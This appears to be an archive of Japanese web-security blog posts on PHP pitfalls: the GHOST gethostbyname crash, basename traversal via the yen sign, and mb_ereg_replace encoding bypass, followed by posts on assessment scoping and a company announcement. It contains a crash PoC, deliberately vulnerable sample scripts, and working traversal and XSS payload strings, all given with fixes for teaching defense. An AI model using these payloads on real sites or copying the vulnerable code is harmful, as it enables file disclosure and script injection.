試行錯誤的に調べた結果、以下のスクリプトでPHPをクラッシュできることを確認しています。CentOS6(32bit/64bitとも)、Ubuntu12.04LTS(32bit/64bitとも)のパッケージとして導入したPHPにて確認しましたが、phpallで確認した限りPHP 4.0.2以降のすべてのバージョンのPHPで再現するようです。なぜかPHP 4.0.0と4.0.1では再現しませんでした。
<?php
gethostbyname(str_repeat('0', 1027));
gethostbyname(str_repeat('0', 1028));
CentOS6.5(32ビット)での実行の様子を下図に示します。
$ php gethostbyename-vul.php
*** glibc detected *** php: realloc(): invalid next size: 0x08b0b118 ***
======= Backtrace: =========
/lib/libc.so.6[0x92de31]
/lib/libc.so.6[0x9330d1]
/lib/libc.so.6(realloc+0xdc)[0x93326c]
/lib/libc.so.6(__nss_hostname_digits_dots+0x373)[0x9b5d13]
/lib/libc.so.6(gethostbyname+0x9a)[0x9bab6a]
php[0x8153b01]
php[0x8260729]
php(execute+0x1ce)[0x8236f4e]
php(zend_execute_scripts+0x66)[0x820f0c6]
php(php_execute_script+0x1e6)[0x81b5b76]
php[0x829feeb]
/lib/libc.so.6(__libc_start_main+0xe6)[0x8d3d26]
php[0x80622d1]
======= Memory map: ========
00101000-00129000 r-xp 00000000 fd:00 1053082 /usr/lib/libsmime3.so
00129000-0012b000 r--p 00027000 fd:00 1053082 /usr/lib/libsmime3.so
【中略】
00bee000-00bef000 rw-p 00007000 fd:00 1062164 /usr/lib/php/modules/json.so
アボートしました (コアダンプ)
$
上記はコンソール上での実行ですが、Webからの呼び出しでもPHPがクラッシュします。
このサンプルではgethostbynameを2回呼んでいますが、メモリの割り当て状況によっては1回の呼び出しでクラッシュさせることもできるでしょう。上記はあくまでPoCです。

既存のアプリケーションに対して外部からの攻撃によりPHPをクラッシュさせる、さらには任意のコードを実行させるのは困難と予想しますが、影響が皆無というわけではないでしょうから、以下を確認しておくと安全です。
  • GHOST脆弱性に対するパッチを適用していれば問題ない
  • PHPのgethostbyname関数を呼び出していなければ問題ない
  • gethostbyname関数を呼び出していても、引数を外部から制御できなければまず問題ない
  • gethostbyname関数を呼び出し、かつ引数が外部から制御できるが、バリデーションにより1024バイト以上の引数を禁止していれば問題ない
  • PHP 5.6.6、PHP 5.5.22(現在はRC1)からはgethostbynameの引数が255バイトまでに制限されるので問題ない
すなわち、gethostbynameの引数を外部から制御できるアプリケーションがある場合は、GHOST脆弱性に対するパッチを適用する(強く推奨)か、どうしてもすぐにパッチを出来ない場合は、gethostbynameの引数をバリデーションにより255バイト以下等に制限することを推奨します。あるいは、PHP5.6.6、PHP5.5.22が公開された後にこれらにバージョンアップすることでも解決します。

PHPのbasename関数でマルチバイトのファイル名を用いる場合の注意

$
0
0
まずは以下のサンプルをご覧ください。サーバーはWindowsで、内部・外部の文字エンコーディングはUTF-8です。UTF-8のファイル名を外部から受け取り、Windowsなのでファイル名をShift_JISに変換してファイルを読み込んでいます。basename関数を通すことにより、ディレクトリトラバーサル対策を施しています。
<?php
header('Content-Type: text/plain; charset=UTF-8');

$file_utf8 = basename($_GET['file']);
$file_sjis = mb_convert_encoding($file_utf8, 'cp932', 'UTF-8');
$path = './data/' . $file_sjis;
var_dump($path);
readfile($path);

しかし、ディレクトリトラバーサル対策は十分でなく、このスクリプトには脆弱性があります。下図は、ディレクトリトラバーサル攻撃により、このスクリプトの中身を読み出しているところです。


以下、このスクリプトの問題点、さらにはbasename関数を用いる際の注意点について説明します。

basename関数はマルチバイト対応していないという誤解

ネットの記事を見ていますと、basename関数はマルチバイト対応していないという主張をよく見かけます。例えば、下記の記事。
basename関数はパスからディレクトリ情報を削除してベース名(「test.txt」など)を取得するための関数ですが、PHP5(使用バージョン:PHP 5.3.1)ではパスに日本語が含まれていると失敗します。

▼失敗するbasename関数
<?php
$a = "/dir/テスト.txt";
echo basename($a);
?>
ファイル名などに日本語が含まれるパスでbasename関数が失敗するバグより引用
このスクリプトをWindowsサーバー上で動かすと、確かに下図のようにファイル名が化けます。下図ではファイル名の16進数表記を参考のためつけています。「テ」の先頭1バイト0x83が欠落しています。



localeに注意

しかし、このスクリプトはbasename関数の使い方に問題があります。basenameのマニュアルには以下の注意書きがあります。
注意:
basename() はロケールに依存します。 マルチバイト文字を含むパスで正しい結果を得るには、それと一致するロケールを setlocale() で設定しておかなければなりません。
これに従い、先のスクリプトを修正してみます。
<?php
$a = "/dir/テスト.txt";
setlocale(LC_CTYPE, 'Japanese_Japan.932'); // 追加
echo basename($a);
こうすると、下図のように正しい結果が得られます。マルチバイト環境でbasename関数を利用するにはlocaleの設定が必要であることが分かります。


冒頭の脆弱なスクリプトへの攻撃法

ここで、冒頭の脆弱なサンプルがなぜ問題かを説明します。このスクリプトにもlocaleの指定がありませんが、それが根本原因ではありません。
まず、攻撃に用いる文字列を示します。以下のクエリ文字列により攻撃が可能です。
..%C2%A5vulbasename.php
%C2%A5はUnicodeの円記号(U+00A5)のUTF-8表記をパーセントエンコードしたものです。これをデコードすると以下の通りです。
..¥vulbasename.php
「¥」は前述のとおり円記号U+00A5です。さらに、これをcp932に変換することになりますが、この際に「¥」U+00A5がバックスラッシュ「\」0x5Cに変換されます。
..\vulbasename.php
このため、組み立てられるパス名は以下の通りとなります。これは典型的なディレクトリトラバーサル攻撃の文字列ですね。
./data/..\vulbasename.php

文字エンコーディング変換するタイミングに注意

basename関数を通しているにもかかわらず攻撃が成立してしまう理由は、以下の通りです。
  • 円記号U+00A5は、basenameの処理対象の文字ではない
  • basenameの処理の後に、文字エンコーディング変換によりU+00A5が0x5Cに変化する
正しい手順は下記のとおりです。
  • まず文字エンコーディングを変換する
  • その後にbasename関数を通す
スクリプトとしては下記のとおりです。
$file_utf8 = $_GET['file'];
$file_sjis = mb_convert_encoding($file_utf8, 'cp932', 'UTF-8'); // 文字エンコーディング変換
setlocale(LC_CTYPE, 'Japanese_Japan.932'); // locale設定
$file = basename($file_sjis);
$path = './data/' . $file;
このスクリプトに対して先の攻撃をかけても、以下のようにスクリプトの中身は表示されません。


basenameはファイル名として妥当な文字種のチェックをしない

basename関数のソースを読むとすぐ分かりますが、basename関数がチェックするのはスラッシュ(全プラットフォーム共通)、バックスラッシュとコロン(Windows等)のみです。特にWindowsの場合ファイル名に使える文字に制約がありますが、basenameはそのチェックはしません。長さのチェックもしません。
このため、ファイル名を外部から受け取る場合、ファイル名の仕様として以下を決めておくとよいでしょう。
  • ファイル名に用いる文字の種類
  • ファイル名を表現する文字エンコーディング
  • ファイル名の長さの最小値・最大値
特に、外部から受け取ったファイル名でファイルを新規作成する場合は、受け取ったファイル名が仕様を満たすことをバリデーションで確認する必要があります。既存のファイルをオープンするだけであれば、バリデーションが必須かどうかは悩ましいところですが、一般論として入力値が前提条件(仕様)を満たすことのチェックとしてバリデーションはしておくべきだと思います。

まとめ

PHPのbasename関数を用いる上での注意点を説明しました。まとめると以下のようになります。
  • 文字エンコーディングの変換はbasenameを通す前に行うこと
  • basename関数を呼ぶ前にlocaleを設定すること
  • ファイル名の仕様を決める
  • ファイル名が仕様を満たすかどうかバリデーションにより確認する

PHPのbasename関数は不正な文字エンコーディングをチェックしない

$
0
0
昨日のエントリにて、PHPのbasename関数はマルチバイト文字を扱えることを説明しましたが、このブログの読者であれば、きっとbasename関数は不正な文字エンコーディングについてどの程度チェックするのかという疑問が生じたことでしょう(きっぱり)。実はbasename自体は、不正な文字エンコーディングをチェックせず、垂れ流してしまいます。その理由をbasenameのソースコードで確認してみましょう。以下は、basename関数の実装の一部です。
// ext/standard/string.c
// php_basenmae()
while (cnt > 0) {
inc_len = (*c == '\0' ? 1: php_mblen(c, cnt));

switch (inc_len) {
case -2:
case -1:
inc_len = 1;
php_ignore_value(php_mblen(NULL, 0));
break;
case 0:
goto quit_loop;
php_mblen関数はmblen(3)のラッパーです。mblen関数は文字列の先頭文字のバイト数を返す関数で、先頭の文字が不正なエンコーディングの場合 -1 を返します。上記のソースでは、mblenが-1を返した場合は、inc_len=1として正常な1バイト文字と見なして処理を継続しています。
一方以下は、シェル呼び出しのエスケープを行うescapeshellarg関数の実装ですが…
// ext/standard/exec.c
// php_escape_shell_arg()
for (x = 0; x < l; x++) {
int mb_len = php_mblen(str + x, (l - x));

/* skip non-valid multibyte characters */
if (mb_len < 0) {
continue;

} else if (mb_len > 1) {
memcpy(cmd + y, str + x, mb_len);
y += mb_len;
x += mb_len - 1;
continue;
}
switch (str[x]) {
// 文字に応じた処理
コメントにあるように、不正な多バイト文字はスキップする、すなわち除去(フィルタリング)されます。

同じmblen関数を使っていても、basename関数とescapeshellarg関数では、不正な文字エンコーディングに対する対処方法が違っています。ともかく、basename関数は、不正な文字エンコーディングをエラーとせず、結果の中に含めてしまいます。

不正な文字エンコーディングの影響の考察(Windowsの場合)

basename関数が不正な文字エンコーディングのチェックをしていないことによるセキュリティ上の影響はないでしょうか。具体的に確認するために、まずWindowsの場合について検討します。すなわち、ファイル名が Shift_JIS でエンコーディングされているとします。
ディレクトリトラバーサル攻撃の攻撃パターンとしては、絶対パスによるものと相対パスによるものがありますが、絶対パスの場合ファイル名の冒頭に / や \ が来る必要があり、これは「不正な文字エンコーディング」にはなりえません。相対パスの方は、 ../ などシングルバイトの文字が連続して続く必要がありますが、/や\が単独の場合は単に除去され、その前にマルチバイト文字の先行バイトがある場合でも、前述の理由から先行バイトは除去されません(..■/ の形になる)。.その後 / までが除去される可能性が高いですが、仮に除去されない状況でも、..■/ と余計な文字がはさまっているため、攻撃パターンを形成しないと思われます。

不正な文字エンコーディングの影響の考察(Linuxの場合)

次にLinuxの場合について考えます。文字エンコーディングは UTF-8 とします。この場合、basename関数はUTF-8の冗長表現を通してしまいます。
これを検証するためのスクリプトを以下に示します。\xC0\xAF は / をUTF-8の2バイト表現にしたものです。
<?php
setlocale(LC_CTYPE, 'ja_JP.UTF-8');
echo bin2hex(basename("..\xC0\xAFaaa")), PHP_EOL;
出力は下記となります。c0afがそのまま出力されていることがわかります。
2e2ec0af616161
UTF-8の冗長表現が許可されるというと、NimdaワームやTomcatの脆弱性CVE-2008-2938を思い出す人も多いと思います。「それは問題ではないか」と思うところですが、現実には問題になるケースはほとんどないと考えられます。

その理由は下記のとおりです。
  • Linuxで使われるファイルシステムでは、\xC0\xAF等はそのままのバイト列としてファイル名に使われ、ディレクトリ区切子とは認識されない
そこで次の可能性は、UTF-8の冗長表現表現としてbasenameをパスした文字列が、その後文字エンコーディング変換されてシングルバイトの / に変換されることですが、
  • そもそもbasenameの後に文字エンコーディング変換をすることはよろしくない(参考
  • PHPで文字エンコーディング変換に使用される mb_convert_encodingとiconvはどちらもUTF-8の冗長表現をエラーにするかフィルタリングするので、攻撃文字列は形成されない
ということで、basename関数が冗長なUTF-8エンコーディングを許容しても、実害が出るケースはほとんどないと考えられます。実害があるとすると、独自実装の脆弱性のある文字エンコーディング変換機能を利用している場合ですが、その場合でも文字エンコーディング変換後にbasename関数を通すという正しい手順を踏んでいれば、問題は顕在化しません。

緩和策

basename関数は不正な文字エンコーディングを許容することが分かりましたが、これによる実害はほとんどなさそうです。ただし、外部から与えられたファイル名で新規にファイルを作成する場合は、変なファイル名のファイルができてしまいます。
いずれにせよ、以下をアプリケーションの仕様として決めておくとよいでしょう(再掲)。
  • ファイル名に用いる文字の種類
  • ファイル名を表現する文字エンコーディング
  • ファイル名の長さの最小値・最大値
そして、以下を推奨します。
  • 文字エンコーディングの変換はbasenameを通す前に行うこと
  • basename関数を呼ぶ前にlocaleを設定すること
  • ファイル名の仕様を決める
  • ファイル名が(文字エンコーディングを含め)仕様を満たすかどうかバリデーションにより確認する

まとめ

PHPのbasename関数が不正な文字エンコーディングを許容してしまうことを説明しました。この問題は一応bug#68773として報告済みですが、報告から1ヶ月以上たってもアサインもされていませんので、少なくともすぐに修正される可能性は薄そうです。幸い実害もあまりなさそうですが、念のためバリデーションにより文字エンコーディングのチェックをしておくと安心です。
PHPの文字列は単なるバイト列ですので、一般論として、アプリケーションの開始時に文字エンコーディングのチェックをしておくことにより、不正な文字エンコーディングの文字を弾いておくことをお勧めします。アプリケーションの前提条件を満たしていない入力を予め除外しておくことでアプリケーションの安定動作のために寄与します。
また、basenameの現在の実装は少々いただけないと考えます。せっかくmblenが不正な文字エンコーディングをチェックして -1 を返しているのに、そのエラーを「なかったことに」しているからです。一方、シェルのエスケープを行うescapeshellargの方は不正な文字エンコーディングをフィルタリングしているわけで、同じPHPの中で一貫性のない挙動というのも(PHPらしいといえばそれまでですが)よくないように感じました。

PHPのmb_ereg関数群は不正な文字エンコーディングをチェックしない

$
0
0
PHPのbasename関数には、マルチバイトに対応していないという誤解(実際にはロケールの設定をすればマルチバイトでも使える)があったり、不正な文字エンコーディングをチェックしないという課題があったりで、イマイチだなーと思っている方も多いと思います。
そういう方々が、preg_replace(u修飾子つき)やmb_ereg_replaceを用いて代替関数を作成している解説も見かけますが、それではこれら正規表現関数は不正な文字エンコーディングをチェックしているのだろうかという疑問が生じます。
ざっと調べたところ、以下の様な状況のようです。
  • preg_replace : 不正な文字エンコーディングをチェックしている
  • mb_ereg_replcae : 不正な文字エンコーディングをチェックしていない
ここでは、mb_ereg_replaceが不正な文字エンコーディングをチェックしない状況と、その影響について報告します。

不正な文字エンコーディングとは

マルチバイトの文字を表現するエンコーディング(Shift_JIS、EUC-JP、UTF-8など)には、バイト列の並びのルールが決まっています。例えば、Shift_JISの2バイト目としてありえるバイト値とあり得ないバイト値があります。UTF-8の場合は、先頭バイトで文字のバイト数が決まり、2バイト目以降に使えるバイトは 0x80 ~ 0xBF と決まっています(参考)。
これらの決まりに従わないバイト列は、「不正な文字エンコーディング」ということになります。また、UTF-8には「非最短形式」というものがあり、禁止されているので、これも不正な文字エンコーディングの一種です。

mb_ereg_replaceは不正な文字エンコーディングをどう扱うか?

ここでは、UTF-8の場合を例として、mb_ereg_replaceが不正な文字エンコーディングのデータをどのように処理するかを見てみます。
まず、不正なデータとして以下を例に取ります。
$a = "\xFC../..";  // 6バイト
このデータは以下の意味でUTF-8として不正です。
  • 0xFCは、かつてUTF-8の6バイト形式として定義されていたが、現在は5バイト以上の形式は禁止されている
  • 2バイト目以降が 0x80~0xBF の範囲にない
PoCは以下の通りです。
<?php
mb_regex_encoding('UTF-8');
$a = "\xFC../..";
$s = mb_ereg_replace('[\./]', '', $a); // . と / をすべて取り除く
echo bin2hex($s) . "\n";
結果は以下の通り。
fc2e2e2f2e2e
先頭の0xFCの影響を受けて、2バイト目以降の . や / は取り除かれていません。ここから以下のことが分かります。
  • mb_ereg_replaceはUTF-8の6バイト形式を許容している
  • mb_ereg_replaceはUTF-8の2バイト目以降のバイト値の範囲をチェックしていない
この結果は私には衝撃的だったのですが、ディレクトリトラバーサル脆弱となる現実的なシナリオは作れませんでした。腕自慢の方は挑戦してみてください。

脆弱となる例

ディレクトリトラバーサルの例は作れませんでしたので、XSSならどうだろうと思い、ちょっと人工的ですが、不正な文字エンコーディングによるXSS脆弱性の例を考えてみました。以下のスクリプトはmb_ereg_replaceを使った「手作りの」HTMLエスケープ関数を使っています。
<?php
header('Content-Type: text/html; charset=UTF-8');
function mb_htmlescape($s) {
mb_regex_encoding('UTF-8');
$s = mb_ereg_replace('&', '&amp;', $s);
$s = mb_ereg_replace('<', '&lt;', $s);
$s = mb_ereg_replace('>', '&gt;', $s);
$s = mb_ereg_replace('"', '&quot;', $s);
return $s;
}
?>
<html><body>
<?php echo mb_htmlescape($_GET[x]); ?>
</body></html>
このスクリプトに対して、x=<script>alert(1);</script> というクエリ文字列を与えると以下のように正しくエスケープ処理が行われています。


しかし、以下のクエリ文字列だと、JavaScriptが起動されてしまいます。
x=%C2<script+%C2>alert(1);//%C2</script+%C2>

%C2はUTF-8の2バイト形式の1バイト目になるバイト値です。これを■で表現すると、入力文字列は下記の通りです。
■<script ■>alert(1);//■</script ■>
そして、この文字列は、先の手作りエスケープ関数を素通りしてそのままブラウザに送られます。
ブラウザ側では、この■<等が「不正なUTF-8文字」と認識して、■と < という別々の文字として扱われます。この「不正な文字に対する扱いの差異」が脆弱性の原因です。

対策

以下の対策を推奨します。
  • エスケープ関数等セキュリティ目的の処理は極力自作しない(htmlspecialchars関数では上記の問題は起きない)
  • 各入力値についてmb_check_encoding関数により文字エンコーディングの妥当性チェックを行う

まとめ

PHPのhtmlspecialcharsはかつていけてなかった(参考)とか、basename関数は今もいけてないなどの理由でこれらの関数を自作したくなる衝動にかられる場合がありますが、中途半端に自作するとかえって危険になる場合があります。PHPの主要な関数群は色々ディスられながら改良され、安全になってきた歴史がありますので、よほど明確な理由がない限りはPHPで提供されているものを使うほうがよいと考えます。
また、PHPが提供する関数群には文字エンコーディングのチェックを厳密に行うもの(mb_check_encoding、htmlspecialchars等)と、チェックをあまりしないもの(mb_strlen、basename、mb_ereg等)がありますので、入力値のバリデーション時にmb_check_encodingで文字エンコーディングの妥当性を確認しておくとよいでしょう。

Webアプリケーション脆弱性診断の検査対象をどう絞り込めばよいか

$
0
0
ソニーDNAさんの『入門!基礎からわかる「失敗しないWeb診断業者の選び方」』というブログ記事を読みました。
全体的に穏当な内容で異論はないのですが、興味深い内容なので、屋上屋を架すようですが少し追加して考えてみたいと思います。
私が特に注目したのは以下の箇所です。
2. 検査対象を適切に絞れるか?
セキュリティ対策をくまなく実施できれば安心ですが、それは大きな費用がかかり現実的ではないというケースも多いでしょう。そのため、Web診断では検査対象を適切に絞り込むことが必要です。ログイン画面や課金機能、個人情報管理機能など、セキュリティ対策が特に求められる機能を重点的に検査するには、検査対象を明確にすることが重要になります。
上記の考え方は、脆弱性診断の現場でよく行われているもので、筆者もこれに従うことは多いのですが、検査対象の選定は重要なのでもう少し掘り下げて考えてみたいと思います。

脆弱性と影響範囲の関係

検査対象を検討する上での前提条件として、脆弱性がある箇所(Webページ等)が及ぼす影響範囲がどの程度であるかを考える必要があります。
以前の記事ですが、「SQLインジェクション対策もれの責任を開発会社に問う判決」を書いた際に、私は以下のように書きました。

  • Y社は、SQLインジェクションはカード情報とは無関係の箇所にあったので、この脆弱性が原因ではないと主張したが、裁判所はこの主張を退けた

開発会社側は、カード情報と無関係の箇所にSQLインジェクションがあってもカード情報漏洩の原因にならないと主張していましたが、裁判所の判断通り、この主張は間違いです。サイト上のどこにSQLインジェクション脆弱性があっても、その影響はサイト全体に及びます。
このように、脆弱性の中には、影響範囲が広いものと、脆弱性のあるページ等に影響が限定されるものがあります。

以下は、影響範囲が広範囲に及ぶ脆弱性の例です。
  • SQLインジェクション
  • クロスサイトスクリプティング(XSS)
  • ディレクトリトラバーサル
  • OSコマンドインジェクション
  • HTTPヘッダインジェクション
  • セッション固定
  • ファイルアップロード機能の脆弱性
  • クッキーのセキュア属性不備
  • 認証機能の不備
一方、以下は影響範囲が脆弱のある箇所に限定されるものの例です。
  • クロスサイトリクエストフォージェリ(CSRF)
  • レースコンディション(サイト全体に影響がある場合もある)
  • 認可制御の不備
以下は、サイトには直接影響のない脆弱性の例です。
  • オープンリダイレクタ(フィッシング経由で間接的に影響はある)
  • メールヘッダインジェクション
このように見ていくと、「やっぱりサイト全体を診断しないと駄目なのでは?」という疑問が生じます。もちろん、それが望ましいことは言うまでもなく、元記事でもそのように言及していますが、診断に掛けられる予算が限定されている場合に、ある根拠をもって診断箇所を絞り込むことは可能です。その理由を以下に述べます。

脆弱性毎に、発生しやすい箇所が決まっている

ここまで、脆弱性の影響範囲を検討したので、今度は脆弱性が入り込みやすい場所について検討していくことにしましょう。

SQLインジェクション
SQLインジェクション脆弱性は、SQLアクセスをしている箇所すべてで発生する可能性があります。加えて、その影響がデータベース全体に及ぶことから、可能であればすべての箇所を検査しておくことが望ましいことになります。

クロスサイトスクリプティング(XSS)
クロスサイトスクリプティング脆弱性は、表示処理(HTML等の生成)を行っている箇所すべてで発生する可能性があります。加えて、その影響がWebサイト全体に及ぶことから、可能であればすべての箇所を検査しておくことが望ましいことになります。

ディレクトリトラバーサル
ディレクトリトラバーサル脆弱性は、外部から指定したファイル名によりファイルアクセスしている箇所で発生する可能性があります。GETやPOST等のパラメータがファイル名であるかどうかは外部からは完全には分かりませんが、パラメータ名や値から、ファイル名の可能性が高いと推測できる場合もあります。

OSコマンドインジェクション
OSコマンドインジェクション脆弱性は、外部コマンドを呼び出している箇所で発生する可能性があり、その典型例がメール送信処理の箇所です。また、Web開発に用いる言語が提供していない機能を実現する場合に外部コマンドを呼び出していて、OSコマンドインジェクション脆弱性が発生する場合もあります。

HTTPヘッダインジェクション
HTTPヘッダインジェクション脆弱性は、レスポンスヘッダの出力時に外部由来の文字列が混入しているケースで発生する可能性があり、その典型例がログイン後のリダイレクト処理やクッキー発行処理です。サイトを閲覧すればリダイレクト処理やクッキー発行をどこで行っているかは分かるため、そこだけを診断すればよいことになります。

セッション固定
セッション固定の原因はログイン成功時にセッション固定を防ぐ対策(典型的にはセッションIDの変更)がないことであり、ログイン処理を調べることで診断が可能です。

ファイルアップロード機能の脆弱性
ファイルあっブロード機能の脆弱性としては、スクリプトをアップロードしてサーバー側で実行する、あるいは利用者にJavaScriptを実行させるXSS等があります。いずれもアップロード処理と、それに関連するダウンロード処理を調べることで診断ができます。

クッキーのセキュア属性不備
クッキーのセキュア属性不備は、重要な情報をもつクッキー(セッションIDやトークン等)にセキュア属性がついていることを確認することで診断します。サイト全体を巡回して診断すべきですが、典型的なケースについてはログイン時のクッキー発行で診断することが可能です。

認証機能の不備
認証の不備は主にパスワードの扱いに関するもの、アカウントロック等のセキュリティ機能、ログアウト処理(これはセッション管理の一部として診断する場合もある)などの診断です。最近見かける頻度は少なくなりましたが、こちらで紹介したようなぶっ飛んだものもたまにあります。
診断する箇所は主にログイン機能と、ログアウト機能です。

脆弱性には遍在するものと偏在するものがある

どちらも「ヘンザイ」でややこしい見出しですが、XSSのようにどこにでもある(遍在)脆弱性と、HTTPヘッダインジェクションのように特定の箇所にしかない(偏在)脆弱性があるという意味です。
そして、ログイン処理のようなセキュリティ上重要な処理には、HTTPヘッダインジェクションのような偏在性のある脆弱性がわりあい存在しやすいという性質があります。そして、「認証の不備」のような脆弱性は、当然ながらログイン処理の周辺を診断することになります。
すなわち、抜き取り診断において、ログイン処理などセキュリティ上重要な箇所に絞って診断することの *一応の* 根拠は、以下の通りです。
  • ログイン処理など当該機能の脆弱性を診断するのに必要
  • 一部の脆弱性はログイン処理の周辺に発生しやすいものがある
しかし、これはあくまで傾向的なものであり、絶対的なものとまでは言えません。

抜き取り検査の診断箇所はどのように選定するのがよいか

脆弱性診断の現場の運用では、抜き取り検査として「ログイン処理などセキュリティ上重要な箇所」に絞って診断することはよく行われますが、それだけだと検査漏れが生じやすくなる可能性もあります。
たとえば、エラー表示のページのように、機能的にもセキュリティ上もあまり重要とは言えないページに、SQLインジェクションやXSSのような脆弱性があった場合、その影響はサイト全体に及び、個人情報など重要な情報が漏洩する原因になりえます。
この可能性をゼロにするには、サイト全体を網羅的に診断するしかありません。しかし、予算の関係で網羅的な診断ができない場合は、重要箇所に加えて、経験上「脆弱性の出やすいところ」を診断対象に加えるとよいでしょう。先に述べたエラー表示のページは、セキュリティ上重要でないがゆえに、一種の油断が生じ、脆弱性が入りやすい傾向があるように思います。
安全なウェブサイトの作り方別冊として公開されている「ウェブ健康診断仕様」には、診断そのものの手法に加えて、抜き取り箇所についても一応の基準が説明されています。

まとめ

脆弱性診断の検査箇所を検討する際の考え方について紹介しました。現場でよく行われる「セキュリティ上重要な箇所のみを診断する」ことについて、一応の根拠はあるものの、それだけで重要な情報が守られるわけではありません。このため、抜き取り検査の検査箇所を工夫することにより、同じコストであってもより精度の高い診断が期待できます。
また、「Web診断業者の選び方」として、診断箇所を絞り込む際のリスクや、現実的な対応等について、適切な助言を与えてくれる業者を選ぶとよいでしょう。

HASHコンサルティングのイー・ガーディアングループ参加に関するお知らせ

$
0
0
既にご案内の通り、イー・ガーディアン株式会社HASHコンサルティング株式会社の全株式を取得し、完全子会社化することで合意いたしましたのでご案内いたします。

平たくというと、何が変わるの?

(1) HASHコンサルティング株式会社の株主が変わります
旧株主: 徳丸浩(100%)  →  新株主: イー・ガーディアン株式会社(100%)

(2) 本社が移転します
旧本社: 東京都品川区(自宅兼オフィス)
新本社: 東京都港区麻布十番1-2-3 プラスアストルビル 5F
    ※イー・ガーディアン株式会社の本社が入居しているビルです

(3) 社員を増やします
旧: 徳丸が一人でなんでもやっていました
新: 一緒に仕事をしてくれる技術者を募集します

変わらないことは何?

(1) 会社は存続します
 HASHコンサルティングという会社はイー・ガーディアン株式会社の子会社として存続し、社名も変わりません。

(2) 徳丸は引き続き代表取締役です
 今後も徳丸はHASHコンサルティングの代表取締役社長をつとめます。

(3) 従来の業務は継続します
 当然ながら、従来の業務は変わりなく継続します。

どうしてイー・ガーディアンにジョインしたか?

2008年4月に独立して以来、ウェブアプリケーションのセキュリティ一筋に一人でやってまいりました。創業以来何度か、知り合いの社長さん達からは、「徳丸さんとこは、事務所を借りないの? 人を増やさないの?」と水を向けられたこともあり、その都度いったんはその気になりかけるものの、いやいや自分はその器ではないと断念をしておりました。

社員を増やすことについては、2つの課題がありました。
一つは、こちらにも書いたとおり、独立の目的の一つとして、子供と接する時間を増やしたいということがありましたので、子供と接する時間を増やすことと、人を増やし会社を大きくすることとは相容れないと思っていました。
また、社員を雇用するとなると、人材の流動性が増したとは言え、社員の人生に対して一定の責任が生ずると考えます。自分の年齢的なものもあり、その責任は私には重いものでした。

しかし、創業から約7年がたった現在では、子どもたちは中学・高校生になり、親にべったりというよりは、友達との関係の方が大切な年頃になりました。「手が離れた」ということではありませんが、子供と接する時間の長さは、以前ほどは重要ではなくなりました。

そんな折、前職の同僚であるイー・ガーディアンの高谷社長からジョインのお声がけをいただき、これは会社を大きくするよい機会だと考えました。イー・ガーディアンの経営資源を活用させていただきながら、私の力量でも無理なく会社を大きくできるチャンスだと捉えました。

一人でできることは限られていますが、今後は理想と方法論を共有する仲間と力を合わせることにより、日本のインターネットを少しでも安全にできるよう尽力していきたいと考えます。

人材募集中

前述の通り、HASHコンサルティング株式会社では従来社員の募集をしておりませんでしたが、今後は積極的に人材を募集してまいります。まだ具体的な条件等は決まっていませんが、現在考えていることとしては下記のようなイメージとなります。
  • 学歴、性別、年齢、国籍等は不問です
  • ただし、徳丸は日本語しかできませんので、日本語でのコミュニケーションがとれることは必要です(少なくとも当面は)
  • 一人からの立ち上げとなりますので、当面は、ある程度セキュリティ実務(脆弱性診断等)の経験のある方を歓迎いたします
  • 勤務地は本社(麻布十番)となりますが、今後サテライト勤務や在宅勤務等についても検討していきたいと考えます
  • 服装、勤務時間等は、集まってくれた仲間と相談しながら、働きやすい職場にしていきます
  • HASHコンサルティングのサービスの概要はWebサイトを参考にして下さい
興味を持たれた方は、facebooktwitterのメッセージまたは問い合わせページからご連絡ください。メールでも構いません。

ということで今後は、イー・ガーディアングループの一員としてのHASHコンサルティング株式会社をよろしくお願い申し上げます。
ありがとうございました。

安全なウェブサイトの作り方改訂第7版の変更点と変わらない点

$
0
0
IPAの安全なウェブサイトの作り方 改訂第7版が公開されました。
このエントリでは、安全なウェブサイトの作り方の元々もつ特徴(変わらない点)と、第7版の変更のポイントについて説明します。
なお、私は安全なウェブサイトの作り方の執筆者の一人ではありますが、以下の記述は私個人の意見であり、IPAを代表するものではありませんので、あらかじめご承知おきください。

安全なウェブサイトの作り方の変わらぬ特徴

安全なウェブサイトの作り方の特徴は、「まえがき」の中で述べられています。
本書は、IPAが届出を受けたソフトウェア製品およびウェブアプリケーションの脆弱性関連情報に基づいて、特にウェブサイトやウェブアプリケーションについて、届出件数の多かった脆弱性や攻撃による影響度が大きい脆弱性を取り上げ、その根本的な解決策と、保険的な対策を示しています。
すなわち、以下の2点がポイントと考えます。
  • 脆弱性の選定基準として、届出件数の多かった脆弱性と攻撃による影響度が大きい脆弱性に注目している
  • 対処の方法として、根本的な解決策と保険的な対策という考え方を採用している
まず、取り上げる脆弱性の選定基準ですが、(1)現実に届け出の多いもの、すなわち現実のアプリケーションで発見される機会の多いものと、(2)必ずしも発見の機会は多くないが攻撃による影響度の大きな脆弱性という基準を採用しています。すなわち、脆弱性の選定は結構慎重な立場をとっていることになります。
さらに言えば、「これさえ対応しておけば大丈夫」ではなく、「最低限これらは対応してね」という感じ、と言えば分かりやすいでしょうか。

根本的解決策と保険的対策

次に、根本的解決策と保険的対策についてです。私見では、この着眼点こそ安全なウェブサイトの作り方の最大の特徴ではないかと思います。
まずは、両者の説明を安全なウェブサイトの作り方から引用します。
■ 根本的解決
本書における「根本的解決」は、「脆弱性を作り込まない実装」を実現する手法です。根本的解決を実施することにより、その脆弱性を狙った攻撃が無効化されることを期待できます。
■ 保険的対策
本書における「保険的対策」は、「攻撃による影響を軽減する対策」です。根本的解決とは違って、脆弱性の原因そのものを無くすものではありませんが、攻撃から被害までの次の各フェーズにおいて、それぞれの影響を軽減できます。
安全なウェブサイトの作り方では、「解決策」と「対策」を意図的に使い分けています。すなわち、脆弱性が混入する根本原因に注目し、その原因を取り除くことにより脆弱性のない状況を作ることを「解決策」と呼び、根本原因を取り除くことが困難であったり、抜け漏れが生じやすい場合の緩和策等を「(保険的)対策」と呼んでいます。

とくに、脆弱性が生まれる根本原因を示し、その根本的解決策を示したことは、安全なウェブサイトの作り方の大きな特徴だと考えます。海外のドキュメントを見ると、バリデーションなど必ずしも根本原因に根ざした対応になっていないものをよく見かけるだけに、なおのことそう思います。

第7版での変更点

次に第7版での変更点です。第7版の「まえがき」には以下のように書かれています。
